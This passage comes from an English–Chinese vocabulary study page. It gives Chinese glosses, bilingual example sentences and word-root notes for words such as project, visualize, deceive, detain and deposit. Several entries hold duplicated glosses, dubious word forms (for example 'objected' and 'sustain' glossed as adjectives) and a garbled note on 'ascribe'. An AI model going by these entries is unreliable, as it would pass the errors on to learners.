\u4e3a\u8f6c\u79fb\uff0c\u8f6c\u79fb\uff0ctransferred\u4e3a\u8f6c\u79fb\u7684\uff0c\u8f6c\u79fb\u7684</p> <p>project</p> <ul> <li>n.<ul> <li>\u9879\u76ee, \u8ba1\u5212</li> <li>\u5de5\u7a0b, \u65b9\u6848</li> </ul> </li> </ul> <p>Eg</p> <p>The team is working on a new project.</p> <p>\u56e2\u961f\u6b63\u5728\u8fdb\u884c\u4e00\u4e2a\u65b0\u9879\u76ee\u3002</p> <p>She presented her project to the class.</p> <p>\u5979\u5411\u73ed\u7ea7\u5c55\u793a\u4e86\u5979\u7684\u9879\u76ee\u3002</p> <p>The term 'project' can also mean to plan or propose something.</p> <p>'project'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u8ba1\u5212\u6216\u63d0\u8bae\u67d0\u4e8b\u3002</p> <p>\u5176\u52a8\u8bcd\u5f62\u5f0f\u4e3aproject\uff0c\u6307\u8ba1\u5212\uff0c\u8bbe\u8ba1\uff0cprojected\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u8ba1\u5212\u7684\uff0c\u8bbe\u8ba1\u7684\u3002</p> <p>pro-\u8868\u793a\u5411\u524d\uff0c\u8bcd\u6839'ject'\u8868\u793a\u6295\u63b7\uff0c\u5411\u524d\u6295\u63b7\uff0c\u8868\u793a\u8ba1\u5212\uff0c\u8bbe\u8ba1\u7684\u610f\u601d</p> <p>projection \u6295\u5f71\uff0c\u9884\u6d4b</p> <p>object \u4e3a\u7269\u4f53\uff0c\u76ee\u6807\uff0cobjected\u4e3a\u53cd\u5bf9\u7684\uff0c\u53cd\u5bf9\u7684</p> <p>subject \u4e3a\u4e3b\u9898\uff0c\u79d1\u76ee\uff0csubjected\u4e3a\u670d\u4ece\u7684\uff0c\u53d7\u5236\u7684</p> <p>reject \u4e3a\u62d2\u7edd\uff0c\u62d2\u7edd\uff0crejected\u4e3a\u88ab\u62d2\u7edd\u7684\uff0c\u88ab\u62d2\u7edd\u7684</p> <p>prior</p> <ul> <li>adj.<ul> <li>\u5148\u524d\u7684, \u4e4b\u524d\u7684</li> <li>\u4f18\u5148\u7684, \u66f4\u91cd\u8981\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>She had a prior engagement and couldn't attend the meeting.</p> <p>\u5979\u6709\u4e00\u4e2a\u5148\u524d\u7684\u7ea6\u4f1a\uff0c\u4e0d\u80fd\u53c2\u52a0\u4f1a\u8bae\u3002</p> <p>The project was given prior approval.</p> <p>\u8be5\u9879\u76ee\u5f97\u5230\u4e86\u4e8b\u5148\u6279\u51c6\u3002</p> <p>The term 'prior' can also mean something that is more important or takes precedence.</p> <p>'prior'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u66f4\u91cd\u8981\u7684\u6216\u4f18\u5148\u7684\u4e8b\u7269\u3002</p> <p>\u5176\u526f\u8bcd\u5f62\u5f0f\u4e3apriorly\uff0c\u6307\u5148\u524d\u5730\uff0c\u4e4b\u524d\u5730\u3002</p> <p>pri-\u8868\u793a\u5728\u524d</p> <p>priority \u4f18\u5148\u6743\uff0c\u4f18\u5148\u4e8b\u9879</p> <p>prioritize \u4e3a\u4f18\u5148\u8003\u8651\uff0c\u4f18\u5148\u5904\u7406</p> <p>posterior \u4e3a\u540e\u9762\u7684\uff0c\u8f83\u540e\u7684</p> <p>superior \u4e3a\u66f4\u597d\u7684\uff0c\u4e0a\u7ea7\u7684</p> <p>inferior \u4e3a\u8f83\u5dee\u7684\uff0c\u4e0b\u7ea7\u7684</p> <p>renovation</p> <ul> <li>n.<ul> <li>\u7ffb\u65b0, \u4fee\u590d</li> <li>\u9769\u65b0, \u6539\u9020</li> </ul> </li> </ul> <p>Eg</p> <p>The building is closed for renovation.</p> <p>\u8fd9\u680b\u5efa\u7b51\u56e0\u7ffb\u65b0\u800c\u5173\u95ed\u3002</p> <p>The company is undergoing a major renovation of its management structure.</p> <p>\u8be5\u516c\u53f8\u6b63\u5728\u5bf9\u5176\u7ba1\u7406\u7ed3\u6784\u8fdb\u884c\u91cd\u5927\u6539\u9020\u3002</p> <p>The term 'renovation' can also refer to the process of making something new again or restoring it to a better state.</p> <p>'renovation'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u7269\u7115\u7136\u4e00\u65b0\u6216\u6062\u590d\u5230\u66f4\u597d\u72b6\u6001\u7684\u8fc7\u7a0b\u3002</p> <p>\u5176\u52a8\u8bcd\u5f62\u5f0f\u4e3arenovate\uff0c\u6307\u7ffb\u65b0\uff0c\u4fee\u590d\u3002</p> <p>re-\u8868\u793a\u518d\u6b21\uff0cnov-\u8868\u793a\u65b0\u7684</p> <p>innovate \u521b\u65b0\uff0c\u9769\u65b0</p> <p>innovation \u521b\u65b0\uff0c\u9769\u65b0</p> <p>novel \u65b0\u9896\u7684\uff0c\u65b0\u5947\u7684</p> <p>novelty \u65b0\u5947\uff0c\u65b0\u9896</p> <p>visualize</p> <ul> <li>v.<ul> <li>\u4f7f\u5f62\u8c61\u5316, \u4f7f\u53ef\u89c6\u5316</li> <li>\u60f3\u8c61, \u8bbe\u60f3</li> </ul> </li> </ul> <p>Eg</p> <p>The architect used software to visualize the new building design.</p> <p>\u5efa\u7b51\u5e08\u4f7f\u7528\u8f6f\u4ef6\u6765\u4f7f\u65b0\u5efa\u7b51\u8bbe\u8ba1\u53ef\u89c6\u5316\u3002</p> <p>She tried to visualize the scene in her mind.</p> <p>\u5979\u8bd5\u56fe\u5728\u8111\u6d77\u4e2d\u60f3\u8c61\u90a3\u4e2a\u573a\u666f\u3002</p> <p>The term 'visualize' can also refer to the process of forming a mental image or making something visible.</p> <p>'visualize'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f62\u6210\u5fc3\u8c61\u6216\u4f7f\u67d0\u7269\u53ef\u89c1\u7684\u8fc7\u7a0b\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3avisualization\uff0c\u6307\u53ef\u89c6\u5316\uff0c\u5f62\u8c61\u5316\u3002</p> <p>vis-\u8868\u793a\u770b\u89c1</p> <p>vision \u89c6\u529b\uff0c\u89c6\u89c9</p> <p>visible \u53ef\u89c1\u7684\uff0c\u770b\u5f97\u89c1\u7684</p> <p>invisible \u770b\u4e0d\u89c1\u7684\uff0c\u9690\u5f62\u7684</p> <p>visual \u89c6\u89c9\u7684\uff0c\u89c6\u529b\u7684</p> <p>visualization \u53ef\u89c6\u5316\uff0c\u5f62\u8c61\u5316</p> <p>supervise \u76d1\u7763\uff0c\u76d1\u7763\uff0csupervised\u4e3a\u76d1\u7763\u7684\uff0c\u76d1\u7763\u7684 (\u5728\u4e0a\u9762\u770b)</p> <p>previse \u9884\u89c1\uff0c\u9884\u77e5\uff0cprevised\u4e3a\u9884\u89c1\u7684\uff0c\u9884\u77e5\u7684(\u63d0\u524d\u770b)</p> <p>revise \u4fee\u8ba2\uff0c\u4fee\u6539(\u518d\u770b\u4e00\u904d)</p> <p>television \u7535\u89c6\uff0c\u7535\u89c6\u673a\uff0ctele-\u8868\u793a\u8fdc\uff0c\u7535\u89c6\u628a\u8fdc\u7684\u4e1c\u897f\u4f20\u8fc7\u6765</p> <p>revive</p> <ul> <li>v.<ul> <li>\u4f7f\u590d\u6d3b, \u4f7f\u6062\u590d</li> <li>\u590d\u82cf, \u91cd\u65b0\u6d41\u884c(\u4e00\u822c\u6307\u7ecf\u6d4e)</li> </ul> </li> </ul> <p>Eg</p> <p>The doctor managed to revive the patient after the cardiac arrest.</p> <p>\u533b\u751f\u5728\u5fc3\u810f\u9aa4\u505c\u540e\u8bbe\u6cd5\u4f7f\u75c5\u4eba\u590d\u6d3b\u3002</p> <p>The old tradition is starting to revive in the community.</p> <p>\u8fd9\u4e2a\u53e4\u8001\u7684\u4f20\u7edf\u5728\u793e\u533a\u91cc\u5f00\u59cb\u91cd\u65b0\u6d41\u884c\u3002</p> <p>The term 'revive' can also refer to bringing something back into use or popularity.</p> <p>'revive'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u7269\u91cd\u65b0\u4f7f\u7528\u6216\u6d41\u884c\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3arevival\uff0c\u6307\u590d\u6d3b\uff0c\u590d\u5174\u3002</p> <p>re-\u8868\u793a\u518d\uff0c\u91cd\u65b0</p> <p>revive \u4f7f\u590d\u6d3b\uff0c\u4f7f\u6062\u590d</p> <p>revival \u590d\u6d3b\uff0c\u590d\u5174</p> <p>revivify \u4f7f\u590d\u6d3b\uff0c\u4f7f\u6062\u590d\u751f\u6c14</p> <p>survive \u5e78\u5b58\uff0c\u5b58\u6d3b\uff0csurvived\u4e3a\u5e78\u5b58\u7684\uff0c\u5b58\u6d3b\u7684 (\u5728\u4e0b\u9762\u6d3b)</p> <p>derive \u6e90\u4e8e\uff0c\u5f97\u81ea\uff0cderived\u4e3a\u6e90\u4e8e\u7684\uff0c\u5f97\u81ea\u7684(\u4ece...\u800c\u6765)</p> <p>arrive \u5230\u8fbe\uff0c\u62b5\u8fbe(\u5230\u8fbe\u67d0\u5730)</p> <p>script</p> <ul> <li> <p>n.</p> <ul> <li>\u5267\u672c, \u811a\u672c</li> <li>\u5267\u672c, \u5267\u672c</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5199, \u7f16\u5199</li> </ul> </li> </ul> <p>Eg</p> <p>The term 'script' can also refer to a written text of a play, movie, or broadcast.</p> <p>'script'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u620f\u5267\u3001\u7535\u5f71\u6216\u5e7f\u64ad\u7684\u4e66\u9762\u6587\u672c\u3002</p> <p>Scripts are essential in the entertainment industry for planning and production.</p> <p>\u5267\u672c\u5728\u5a31\u4e50\u884c\u4e1a\u4e2d\u5bf9\u4e8e\u89c4\u5212\u548c\u5236\u4f5c\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u3002</p> <p>The word 'script' can also refer to handwriting or a particular style of writing.</p> <p>'script'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u624b\u5199\u4f53\u6216\u7279\u5b9a\u7684\u4e66\u5199\u98ce\u683c\u3002</p> <p>describe \u63cf\u8ff0\uff0c\u5f62\u5bb9</p> <p>inscribe \u94ed\u523b\uff0c\u9898\u8bcd</p> <p>subscribe \u8ba2\u9605\uff0c\u6350\u52a9</p> <p>ascribe \u5f52\u56e0\u4e8e\uff0c\u5f52\u548e\u4e8e(\u9664\u4e86ab-\u8868\u793a\u5426\u5b9a\uff0ca-\u90fd\u8868\u793a\u4e00\u518d)</p> <p>default</p> <ul> <li>adj.<ul> <li>\u9ed8\u8ba4\u7684, \u9ed8\u8ba4\u7684</li> <li>\u9ed8\u8ba4\u7684, \u9ed8\u8ba4\u7684</li> </ul> </li> <li>v.<ul> <li>\u4e0d\u5c65\u884c, \u4e0d\u5c65\u884c</li> </ul> </li> </ul> <p>Eg</p> <p>The default setting is to turn on the lights when the door is opened.</p> <p>\u9ed8\u8ba4\u8bbe\u7f6e\u662f\u5f53\u95e8\u6253\u5f00\u65f6\u6253\u5f00\u706f\u3002</p> <p>The default option is to save the file before closing.</p> <p>\u9ed8\u8ba4\u9009\u9879\u662f\u4fdd\u5b58\u6587\u4ef6\u540e\u518d\u5173\u95ed\u3002</p> <p>deceive</p> <ul> <li>v.<ul> <li>\u6b3a\u9a97, \u8499\u9a97</li> <li>\u8bef\u5bfc, \u4f7f\u8bef\u89e3</li> </ul> </li> </ul> <p>Eg</p> <p>He tried to deceive his friends about his whereabouts.</p> <p>\u4ed6\u8bd5\u56fe\u6b3a\u9a97\u670b\u53cb\u5173\u4e8e\u4ed6\u7684\u884c\u8e2a\u3002</p> <p>The magician's trick was designed to deceive the audience.</p> <p>\u9b54\u672f\u5e08\u7684\u628a\u620f\u662f\u4e3a\u4e86\u6b3a\u9a97\u89c2\u4f17\u3002</p> <p>The term 'deceive' can also mean to cause someone to believe something that is not true.</p> <p>'deceive'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u4f7f\u67d0\u4eba\u76f8\u4fe1\u4e0d\u771f\u5b9e\u7684\u4e8b\u60c5\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adeception\uff0c\u6307\u6b3a\u9a97\uff0c\u8499\u9a97\uff0cdeceptive\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u6b3a\u9a97\u6027\u7684\uff0c\u8bef\u5bfc\u7684\u3002</p> <p>perceive \u611f\u77e5\uff0c\u5bdf\u89c9\uff0cperceived\u4e3a\u611f\u77e5\u7684\uff0c\u5bdf\u89c9\u7684</p> <p>conceive \u6784\u601d\uff0c\u8bbe\u60f3\uff0cconceived\u4e3a\u6784\u601d\u7684\uff0c\u8bbe\u60f3\u7684</p> <p>receive \u63a5\u6536\uff0c\u6536\u5230\uff0creceived\u4e3a\u63a5\u6536\u7684\uff0c\u6536\u5230\u7684</p> <p>detain</p> <ul> <li>v.<ul> <li>\u62d8\u7559, \u6263\u7559</li> <li>\u803d\u6401, \u5ef6\u8bef</li> </ul> </li> </ul> <p>Eg</p> <p>The police decided to detain the suspect for further questioning.</p> <p>\u8b66\u65b9\u51b3\u5b9a\u62d8\u7559\u5acc\u7591\u4eba\u4ee5\u4fbf\u8fdb\u4e00\u6b65\u5ba1\u95ee\u3002</p> <p>The unexpected traffic jam will detain us for an hour.</p> <p>\u610f\u5916\u7684\u4ea4\u901a\u5835\u585e\u4f1a\u803d\u6401\u6211\u4eec\u4e00\u4e2a\u5c0f\u65f6\u3002</p> <p>The term 'detain' can also mean to keep someone from proceeding or to hold back.</p> <p>'detain'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u963b\u6b62\u67d0\u4eba\u524d\u8fdb\u6216\u62d6\u5ef6\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adetention\uff0c\u6307\u62d8\u7559\uff0c\u6263\u7559\uff0cdetained\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u88ab\u62d8\u7559\u7684\uff0c\u88ab\u6263\u7559\u7684\u3002</p> <p>maintain \u7ef4\u6301\uff0c\u4fdd\u6301\uff0cmaintained\u4e3a\u7ef4\u6301\u7684\uff0c\u4fdd\u6301\u7684</p> <p>entertain \u5a31\u4e50\uff0c\u6b3e\u5f85\uff0centertainment \u5a31\u4e50\u6d3b\u52a8</p> <p>sustain \u7ef4\u6301\uff0c\u652f\u6301\uff0csustain\u4e3a\u7ef4\u6301\u7684\uff0c\u652f\u6301\u7684</p> <p>retain \u4fdd\u6301\uff0c\u4fdd\u7559\uff0cretained\u4e3a\u4fdd\u6301\u7684\uff0c\u4fdd\u7559\u7684</p> <p>obtain \u83b7\u5f97\uff0c\u53d6\u5f97\uff0cobtained\u4e3a\u83b7\u5f97\u7684\uff0c\u53d6\u5f97\u7684</p> <p>attain \u8fbe\u5230\uff0c\u83b7\u5f97</p> <p>guilt</p> <ul> <li>n.<ul> <li>\u7f6a\u884c, \u7f6a\u8fc7</li> <li>\u5185\u759a, \u81ea\u8d23</li> </ul> </li> </ul> <p>Eg</p> <p>The jury found him guilty of the crime.</p> <p>\u966a\u5ba1\u56e2\u8ba4\u5b9a\u4ed6\u6709\u7f6a\u3002</p> <p>She felt a deep sense of guilt after lying to her friend.</p> <p>\u5979\u5728\u5bf9\u670b\u53cb\u6492\u8c0e\u540e\u611f\u5230\u6df1\u6df1\u7684\u5185\u759a\u3002</p> <p>The term 'guilt' can also refer to a feeling of responsibility or remorse for some offense, crime, or wrong.</p> <p>'guilt'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u4e9b\u7f6a\u884c\u3001\u72af\u7f6a\u6216\u9519\u8bef\u7684\u8d23\u4efb\u611f\u6216\u6094\u6068\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aguilty\uff0c\u8868\u793a\u6709\u7f6a\u7684\uff0c\u5185\u759a\u7684\u3002</p> <p>\u53cd\u4e49\u8bcdinnocent\u4e3a\u65e0\u7f6a\u7684</p> <p>outrage</p> <ul> <li> <p>n.</p> <ul> <li>\u6124\u6012, \u4e49\u6124</li> <li>\u66b4\u884c, \u4fae\u8fb1</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u6fc0\u6012, \u4f7f\u6124\u6012</li> </ul> </li> </ul> <p>Eg</p> <p>The news of the scandal caused public outrage.</p> <p>\u4e11\u95fb\u7684\u6d88\u606f\u5f15\u8d77\u4e86\u516c\u4f17\u7684\u6124\u6012\u3002</p> <p>The brutal attack was an outrage against humanity.</p> <p>\u8fd9\u6b21\u6b8b\u5fcd\u7684\u88ad\u51fb\u662f\u5bf9\u4eba\u7c7b\u7684\u66b4\u884c\u3002</p> <p>The term 'outrage' can also refer to an act that causes great anger or shock.</p> <p>'outrage'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f15\u8d77\u6781\u5927\u6124\u6012\u6216\u9707\u60ca\u7684\u884c\u4e3a\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aoutraged\uff0c\u8868\u793a\u6124\u6012\u7684\uff0c\u4e49\u6124\u586b\u81ba\u7684\u3002</p> <p>\u53cd\u4e49\u8bcd\u4e3acalm\uff0c\u8868\u793a\u5e73\u9759\u7684\u3002</p> <p>rebel</p> <ul> <li> <p>n.</p> <ul> <li>\u53cd\u53db\u8005, \u53db\u9006\u8005</li> <li>\u53cd\u6297\u8005</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53cd\u53db, \u9020\u53cd</li> <li>\u53cd\u6297, \u62b5\u6297</li> </ul> </li> </ul> <p>Eg</p> <p>The rebels took control of the capital.</p> <p>\u53cd\u53db\u8005\u63a7\u5236\u4e86\u9996\u90fd\u3002</p> <p>She rebelled against the strict rules imposed by her parents.</p> <p>\u5979\u53cd\u6297\u7236\u6bcd\u65bd\u52a0\u7684\u4e25\u683c\u89c4\u5b9a\u3002</p> <p>The term 'rebel' can also refer to someone who resists authority, control, or tradition.</p> <p>'rebel'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u62b5\u6297\u6743\u5a01\u3001\u63a7\u5236\u6216\u4f20\u7edf\u7684\u4eba\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3arebellious\uff0c\u8868\u793a\u53cd\u53db\u7684\uff0c\u53db\u9006\u7684\u3002</p> <p>terror</p> <ul> <li>n.<ul> <li>\u6050\u6016, \u6050\u60e7</li> <li>\u6050\u6016\u6d3b\u52a8, \u6050\u6016\u4e3b\u4e49</li> </ul> </li> </ul> <p>Eg</p> <p>The mere thought of the haunted house filled her with terror.</p> <p>\u4e00\u60f3\u5230\u9b3c\u5c4b\uff0c\u5979\u5c31\u5145\u6ee1\u4e86\u6050\u60e7\u3002</p> <p>The city was in a state of terror after the series of attacks.</p> <p>\u4e00\u7cfb\u5217\u88ad\u51fb\u540e\uff0c\u57ce\u5e02\u5904\u4e8e\u6050\u6016\u72b6\u6001\u3002</p> <p>The term 'terror' can also refer to extreme fear or the use of violence to intimidate people.</p> <p>'terror'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6781\u5ea6\u7684\u6050\u60e7\u6216\u4f7f\u7528\u66b4\u529b\u6765\u6050\u5413\u4eba\u4eec\u3002</p> <p>verdict</p> <ul> <li>n.<ul> <li>\u88c1\u51b3, \u5224\u51b3</li> <li>\u5b9a\u8bba, \u7ed3\u8bba</li> </ul> </li> </ul> <p>Eg</p> <p>The jury reached a unanimous verdict of 'not guilty'.</p> <p>\u966a\u5ba1\u56e2\u8fbe\u6210\u4e86\u4e00\u81f4\u7684'\u65e0\u7f6a'\u88c1\u51b3\u3002</p> <p>The judge's verdict was based on the evidence presented in court.</p> <p>\u6cd5\u5b98\u7684\u5224\u51b3\u662f\u57fa\u4e8e\u6cd5\u5ead\u4e0a\u63d0\u4f9b\u7684\u8bc1\u636e\u3002</p> <p>The term 'verdict' can also refer to an opinion or judgment about something.</p> <p>'verdict'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u4e8b\u7684\u610f\u89c1\u6216\u5224\u65ad\u3002</p> <p>blast</p> <ul> <li> <p>n.</p> <ul> <li>\u7206\u70b8, \u7206\u7834</li> <li>\u4e00\u9635\u5f3a\u98ce, \u51b2\u51fb\u6ce2</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u7206\u70b8</li> </ul> </li> </ul> <p>Eg</p> <p>The blast from the explosion shattered all the windows in the building.</p> <p>\u7206\u70b8\u7684\u51b2\u51fb\u6ce2\u9707\u788e\u4e86\u5927\u697c\u7684\u6240\u6709\u7a97\u6237\u3002</p> <p>A cold blast of air hit her as she opened the door.</p> <p>\u5f53\u5979\u6253\u5f00\u95e8\u65f6\uff0c\u4e00\u9635\u51b7\u98ce\u88ad\u6765\u3002</p> <p>The term 'blast' can also refer to a loud noise or an enjoyable experience.</p> <p>'blast'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5de8\u54cd\u6216\u4e00\u6b21\u6109\u5feb\u7684\u7ecf\u5386\u3002</p> <p>emergency</p> <ul> <li>n.<ul> <li>\u7d27\u6025\u60c5\u51b5, \u7a81\u53d1\u4e8b\u4ef6</li> <li>\u7d27\u6025\u72b6\u6001</li> </ul> </li> </ul> <p>Eg</p> <p>The hospital is equipped to handle any kind of emergency.</p> <p>\u533b\u9662\u914d\u5907\u4e86\u5904\u7406\u4efb\u4f55\u7d27\u6025\u60c5\u51b5\u7684\u8bbe\u5907\u3002</p> <p>In case of an emergency, please call 911 immediately.</p> <p>\u5982\u679c\u53d1\u751f\u7d27\u6025\u60c5\u51b5\uff0c\u8bf7\u7acb\u5373\u62e8\u6253911\u3002</p> <p>The term 'emergency' can also refer to a situation that requires immediate action or attention.</p> <p>'emergency'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u9700\u8981\u7acb\u5373\u91c7\u53d6\u884c\u52a8\u6216\u6ce8\u610f\u7684\u60c5\u51b5\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aemergent\uff0c\u8868\u793a\u7d27\u6025\u7684\uff0c\u7a81\u53d1\u7684\u3002</p> <p>emerge \u51fa\u73b0\uff0c\u6d6e\u73b0\uff0cemerged\u4e3a\u51fa\u73b0\u7684\uff0c\u6d6e\u73b0\u7684</p> <p>urgent \u7d27\u6025\u7684\uff0c\u6025\u8feb\u7684</p> <p>urgency \u7d27\u6025\uff0c\u6025\u8feb</p> <p>misfortune</p> <ul> <li>n.<ul> <li>\u4e0d\u5e78, \u707e\u96be</li> <li>\u5384\u8fd0, \u5012\u9709</li> </ul> </li> </ul> <p>Eg</p> <p>He had the misfortune of losing his job during the economic downturn.</p> <p>\u4ed6\u5728\u7ecf\u6d4e\u8870\u9000\u671f\u95f4\u5931\u53bb\u4e86\u5de5\u4f5c\uff0c\u771f\u662f\u4e0d\u5e78\u3002</p> <p>The family's misfortune seemed to never end.</p> <p>\u8fd9\u4e2a\u5bb6\u5ead\u7684\u4e0d\u5e78\u4f3c\u4e4e\u6c38\u65e0\u6b62\u5883\u3002</p> <p>The term 'misfortune' can also refer to an event or circumstance that brings bad luck or adversity.</p> <p>'misfortune'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5e26\u6765\u5384\u8fd0\u6216\u9006\u5883\u7684\u4e8b\u4ef6\u6216\u60c5\u51b5\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aunfortunate\uff0c\u8868\u793a\u4e0d\u5e78\u7684\uff0c\u5012\u9709\u7684\u3002</p> <p>fortune \u8fd0\u6c14\uff0c\u8d22\u5bcc\uff0cfortunate\u4e3a\u5e78\u8fd0\u7684\uff0c\u5e78\u8fd0\u7684</p> <p>mis-\u8868\u793a\u9519\u8bef\uff0c\u574f\u7684</p> <p>misadventure \u610f\u5916\u4e8b\u6545\uff0c\u4e0d\u5e78\u906d\u9047</p> <p>mishap \u5c0f\u4e8b\u6545\uff0c\u4e0d\u5e78\u4e8b\u4ef6</p> <p>urgent</p> <ul> <li>adj.<ul> <li>\u7d27\u6025\u7684, \u6025\u8feb\u7684</li> <li>\u8feb\u5207\u7684, \u7d27\u8981\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The situation requires urgent attention.</p> <p>\u8fd9\u79cd\u60c5\u51b5\u9700\u8981\u7d27\u6025\u5173\u6ce8\u3002</p> <p>She sent an urgent message to her team.</p> <p>\u5979\u7ed9\u5979\u7684\u56e2\u961f\u53d1\u4e86\u4e00\u6761\u7d27\u6025\u6d88\u606f\u3002</p> <p>The term 'urgent' can also refer to something that needs immediate action or attention.</p> <p>'urgent'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u9700\u8981\u7acb\u5373\u884c\u52a8\u6216\u5173\u6ce8\u7684\u4e8b\u60c5\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aurgency\uff0c\u6307\u7d27\u6025\uff0c\u6025\u8feb\u3002</p> <p>urge \u50ac\u4fc3\uff0c\u63a8\u52a8\uff0curged\u4e3a\u50ac\u4fc3\u7684\uff0c\u63a8\u52a8\u7684</p> <p>emergency \u7d27\u6025\u60c5\u51b5\uff0c\u7d27\u6025\u4e8b\u4ef6</p> <p>pressing \u7d27\u8feb\u7684\uff0c\u8feb\u5207\u7684</p> <p>immediate \u7acb\u5373\u7684\uff0c\u76f4\u63a5\u7684</p> <p>bankrupt</p> <ul> <li> <p>adj.</p> <ul> <li>\u7834\u4ea7\u7684, \u65e0\u529b\u507f\u8fd8\u503a\u52a1\u7684</li> <li>\u5b8c\u5168\u7f3a\u4e4f\u7684, \u8d2b\u56f0\u7684</li> </ul> </li> <li> <p>n.</p> <ul> <li>\u7834\u4ea7\u8005, \u65e0\u529b\u507f\u8fd8\u503a\u52a1\u8005</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f7f\u7834\u4ea7, \u4f7f\u65e0\u529b\u507f\u8fd8\u503a\u52a1</li> </ul> </li> </ul> <p>Eg</p> <p>The company went bankrupt after years of financial struggles.</p> <p>\u8be5\u516c\u53f8\u5728\u591a\u5e74\u8d22\u52a1\u56f0\u96be\u540e\u7834\u4ea7\u4e86\u3002</p> <p>He was declared bankrupt by the court.</p> <p>\u4ed6\u88ab\u6cd5\u9662\u5ba3\u5e03\u7834\u4ea7\u3002</p> <p>The term 'bankrupt' can also refer to a person or entity that is completely lacking in a particular quality or value.</p> <p>'bankrupt'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5b8c\u5168\u7f3a\u4e4f\u67d0\u79cd\u7279\u8d28\u6216\u4ef7\u503c\u7684\u4eba\u6216\u5b9e\u4f53\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3abankruptcy\uff0c\u6307\u7834\u4ea7\uff0c\u5012\u95ed\u3002</p> <p>bank \u4f5c\u4e3a\u8bcd\u6839\u8868\u793a\u94f6\u884c\uff0c\u8d22\u52a1</p> <p>rupt \u8868\u793a\u7834\u88c2\uff0c\u65ad\u88c2</p> <p>disrupt \u7834\u574f\uff0c\u6270\u4e71</p> <p>interrupt \u6253\u65ad\uff0c\u4e2d\u65ad</p> <p>corrupt \u8150\u8d25\u7684\uff0c\u5815\u843d\u7684</p> <p>deposit</p> <ul> <li> <p>n.</p> <ul> <li>\u5b58\u6b3e, \u5b9a\u91d1</li> <li>\u6c89\u79ef\u7269, \u77ff\u5e8a</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5b58\u653e, \u5b58\u50a8</li> <li>\u6c89\u79ef, \u5806\u79ef</li> </ul> </li> </ul> <p>Eg</p> <p>She made a deposit of $500 into her savings account.</p> <p>\u5979\u5728\u5979\u7684\u50a8\u84c4\u8d26\u6237\u4e2d\u5b58\u5165\u4e86500\u7f8e\u5143\u3002</p> <p>The river deposits silt along its banks.</p> <p>\u8fd9\u6761\u6cb3\u5728\u6cb3\u5cb8\u4e0a\u6c89\u79ef\u6de4\u6ce5\u3002</p> <p>The term 'deposit' can also refer to a layer of material that has been laid down naturally.</p> <p>'deposit'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u81ea\u7136\u6c89\u79ef\u7684\u4e00\u5c42\u7269\u8d28\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adeposition\uff0c\u6307\u6c89\u79ef\uff0c\u6c89\u79ef\u7269\u3002</p> <p>de \u8868\u793a\u5411\u4e0b\uff0c\u79bb\u5f00</p> <p>posit \u8868\u793a\u653e\u7f6e</p> <p>decompose \u5206\u89e3\uff0c\u8150\u70c2</p> <p>dispose \u5904\u7406\uff0c\u5904\u7f6e</p> <p>expose \u66b4\u9732\uff0c\u63ed\u9732(be exposed to \u66b4\u9732\u4e8e,\u63a5\u89e6\u5230)</p> <p>propose \u6c42\u5a5a\uff0c\u5efa\u8bae</p> <p>compose \u7ec4\u6210\uff0c\u6784\u6210</p> <p>impose \u5f3a\u52a0\uff0c\u5f81\u7a0e</p> <p>guarantee</p> <ul> <li> <p>n.</p> <ul> <li>\u4fdd\u8bc1, 